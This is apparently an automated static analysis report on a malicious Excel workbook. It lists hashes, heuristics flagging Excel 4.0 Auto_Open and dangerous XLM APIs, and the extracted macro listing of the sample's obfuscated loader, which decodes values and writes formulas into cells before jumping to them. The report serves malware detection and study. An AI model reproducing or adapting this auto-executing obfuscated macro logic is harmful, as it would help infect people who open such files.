Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4386890b52539705…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:38:29 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 8532f72e66017b8c77a09d6020686cbd SHA-1: 18073dc7cc1b562617e285434286d674c43d7f05 SHA-256: 4386890b525397050db120637820f4232d075b99fdac71776d786f59729fd8ca
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6405 bytes
SHA-256: 2c0e83cb6b1b99481d9deb5188ef2318980f39f8cdc8307e02a0c34ccfc8944b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yrCalh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G184 
' 0018     27 LABEL : Cell Value, String Constant - GZtmUiAetLrA len=0 
' 0018     21 LABEL : Cell Value, String Constant - HEAnQm len=0 
' 0018     22 LABEL : Cell Value, String Constant - HGeNdsi len=0 
' 0018     23 LABEL : Cell Value, String Constant - HkiJxRII len=0 
' 0018     21 LABEL : Cell Value, String Constant - hlvbVq len=0 
' 0018     20 LABEL : Cell Value, String Constant - jktvX len=0 
' 0018     22 LABEL : Cell Value, String Constant - MKyYwRv len=0 
' 0018     20 LABEL : Cell Value, String Constant - mtPKC len=0 
' 0018     25 LABEL : Cell Value, String Constant - NRSxxfbTpZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - NSYYt len=0 
' 0018     24 LABEL : Cell Value, String Constant - obfJnEVsS len=0 
' 0018     21 LABEL : Cell Value, String Constant - OjIdmQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - OrpGqQz len=0 
' 0018     24 LABEL : Cell Value, String Constant - rWTMwJLTk len=0 
' 0018     20 LABEL : Cell Value, String Constant - trqRE len=0 
' 0018     24 LABEL : Cell Value, String Constant - VWohOdMMR len=0 
' 0018     21 LABEL : Cell Value, String Constant - VyUqyY len=0 
' 0018     22 LABEL : Cell Value, String Constant - WbefIEQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - YjAqKEO len=0 
' 0018     22 LABEL : Cell Value, String Constant - yJXRQGc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yrCalh,G101,"SET.NAME("HGeNdsi",VALUE("0"))",""
'  yrCalh,G105,"SET.NAME("GZtmUiAetLrA",HGeNdsi)",""
'  yrCalh,G110,"SET.NAME("HEAnQm",HGeNdsi)",""
'  yrCalh,G115,"SET.NAME("VWohOdMMR",COUNTA(MKyYwRv))",""
'  yrCalh,G117,"SET.NAME("NRSxxfbTpZ",COUNTA(mtPKC))",""
'  yrCalh,G122,[],""
'  yrCalh,G124,"SET.NAME("OjIdmQ","")",""
'  yrCalh,G126,"GZtmUiAetLrA",""
'  yrCalh,G128,"SET.NAME("obfJnEVsS",HLOOKUP("*",MKyYwRv,GZtmUiAetLrA,FALSE))",""
'  yrCalh,G132,"yJXRQGc",""
'  yrCalh,G135,"SET.NAME("hlvbVq",HGeNdsi)",""
'  yrCalh,G137,[],""
'  yrCalh,G140,"hlvbVq",""
'  yrCalh,G143,"NSYYt",""
'  yrCalh,G148,"rWTMwJLTk",""
'  yrCalh,G150,"jktvX",""
'  yrCalh,G154,"SET.NAME("YjAqKEO",VALUE(HLOOKUP("*",mtPKC,jktvX,FALSE)))",""
'  yrCalh,G158,"WbefIEQ",""
'  yrCalh,G161,"OjIdmQ",""
'  yrCalh,G166,"HEAnQm",""
'  yrCalh,G168,NEXT(),""
'  yrCalh,G170,"VyUqyY",""
'  yrCalh,G173,"SET.NAME("f",INT(T(FORMULA(T(OjIdmQ)&"",""&T(VyUqyY)))))",""
'  yrCalh,G177,"HkiJxRII",""
'  yrCalh,G180,NEXT(),""
'  yrCalh,G182,RETURN(),""
'  yrCalh,G206,"SET.NAME("OrpGqQz",G101)",""
'  yrCalh,G208,"MKyYwRv",""
'  yrCalh,G211,"SET.NAME("mtPKC",R64C15)",""
'  yrCalh,G215,"SET.NAME("HkiJxRII",221)",""
'  yrCalh,G218,"SET.NAME("trqRE",7)",""
'  yrCalh,G220,OrpGqQz(),""
'  yrCalh,G221,HALT(),""

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